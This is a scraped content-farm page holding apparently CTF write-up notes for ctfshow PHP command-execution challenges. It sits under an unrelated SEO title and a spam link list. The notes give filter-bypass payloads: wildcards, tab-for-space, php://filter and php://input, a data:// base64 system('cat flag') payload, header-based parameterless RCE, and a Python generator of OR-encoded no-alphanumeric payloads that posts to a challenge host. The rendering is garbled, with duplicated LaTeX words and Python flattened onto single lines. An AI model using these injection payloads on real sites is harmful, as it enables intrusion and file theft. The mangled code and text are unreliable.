当前位置: 首页 > news >正文

河北网站制作公司百度入口网站

河北网站制作公司,百度入口网站,专业网站建设公司首选公司,wordpress 摘要插件大佬文章 L i n u x \rm Linux Linux 下空格绕过 无参数 r c e \rm rce rce 无字符 r c e \rm rce rce web29 通配符: *:匹配任意多个字符 ?:匹配任意一个字符 []:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 …

大佬文章

L i n u x \rm Linux Linux 下空格绕过

无参数 r c e \rm rce rce

无字符 r c e \rm rce rce

web29

  • 通配符:

    *:匹配任意多个字符

    ?:匹配任意一个字符

    []:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d ad 的字符)

    {a,b}:匹配 a a a 或者 b b b

web30

  • echo `cat flag`:表示先运行 cat flag,然后再把结果输出

web31

  1. %09(tab) 绕过空格

  2. 命令拼接:c=eval($_POST[a]);,然后 POST 传入一个变量 a 即可

  3. 无参数 r c e \rm rce rce

web32

  • 过滤分号,用 ?> 代替

  • 过滤括号,使用 include 函数,其不需要括号传参(例如 include a.php)

因此 ?c=include%09$_POST[a]?> ,之后 post 传入一个文件即可

文件会被注释掉(显示不出来),所以考虑伪协议读文件

a=php://filter/read=convert.base64-encode/resource=flag.php

web37

  • 使用 php://input 协议,之后 post 传入需要的 php 代码即可

web38

  • data 伪协议读文件

    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== ( b a s e 64 \rm base64 base64system("cat flag");)

web39

  • 同web38

web40

  • 无参数命令执行

    getallheaders()http 头中的信息放到一个数组里面

    修改http 头中的某些不重要的内容为 system("cat flag"),使用语句 eval(array_rand(array_flip(getallheaders())));,多刷新几次即可做到无参数命令执行

web41

  • 无数字字母 r c e \rm rce rce

    一般实现方法是自增,取反,异或,或

    这题用的是或运算

    # coding=gbk
    import re
    import requests
    use = []
    def get_and(aim, use):ans1 = ""ans2 = ""for i in range(len(aim)):ok = Falsefor j in range(len(use)):for k in range(j,len(use)):if (ord(use[j]) | ord(use[k])) == ord(aim[i]):ans1 = ans1 + use[j]ans2 = ans2 + use[k]ok = Trueif ok: breakif ok: break            ans = ""for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i]))    print(ans)return "(\""+ans1+"\"|\""+ans2+"\")"if __name__ == '__main__':match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"for i in range(256):c = chr(i)tmp = re.match(match_str, c, re.I)if tmp == None:use.append(c)func = "system"argu = "cat flag.php"data = {"c":get_and(func,use)+get_and(argu,use)}print(data)r = requests.post(url = url, data = data)print(r.text)
    

web42

system($c." >/dev/null 2>&1"); 黑洞代码

  1. cat flag && ls:只会让后面的查询没有

  2. ls ##shell 脚本的注释

web46

  • flag 被过滤,可以换成 f''lag

未完待续

http://www.hyszgw.com/news/6866/

相关文章:

  • 成功营销网站app营销模式有哪些
  • 自己建一个网站站内营销推广方式
  • 资源网站不好找了绍兴seo
  • 公司让我做网站负责人磁力兔子
  • 做网站需要用到哪些开发软件什么软件可以发帖子做推广
  • 最新网站推广哪家好宁波优化seo软件公司
  • 阿里巴巴的网站应该怎么做软文写作技巧
  • 网站建设哪个便宜网站推广策划思路
  • 重庆做网站建设找谁seo搜索引擎优化入门
  • 摄影网站建设流程哪里有专业的培训机构
  • 东莞市主营网站建设服务机构优化网站seo方案
  • 网站开发收税国家职业技能培训平台
  • 公司网站总感觉少点什么找什么人做免费百度seo引流
  • 哪里建设网站比较好外包公司
  • 上海网站建设系网站开发的步骤
  • 快速建立平台网站开发设计建站流程微博推广方式有哪些
  • 宁波网站建设公司排名免费聊天软件
  • thinkphp 微网站开发国内最新新闻消息今天的
  • 网页制作与网站建设技术大全谷歌seo综合查询
  • 乐思网站建设2023年5月最新疫情
  • 单位网站的方案百度搜索引擎的原理
  • wordpress 附件ftp西安seo关键词查询
  • 做的最好的网站公司什么是网络推广员
  • 怎么建设空包网站网站seo运营培训机构
  • 做网站要用多少钱济南市最新消息
  • 宁河网站建设国内b站不收费网站有哪些
  • 软件开发培训去哪个机构星沙网站优化seo
  • 网站需要多少服务器怎么建网页
  • zhon中国建设会计学会网站流量网站
  • 广州市招标公告南宁关键词优化软件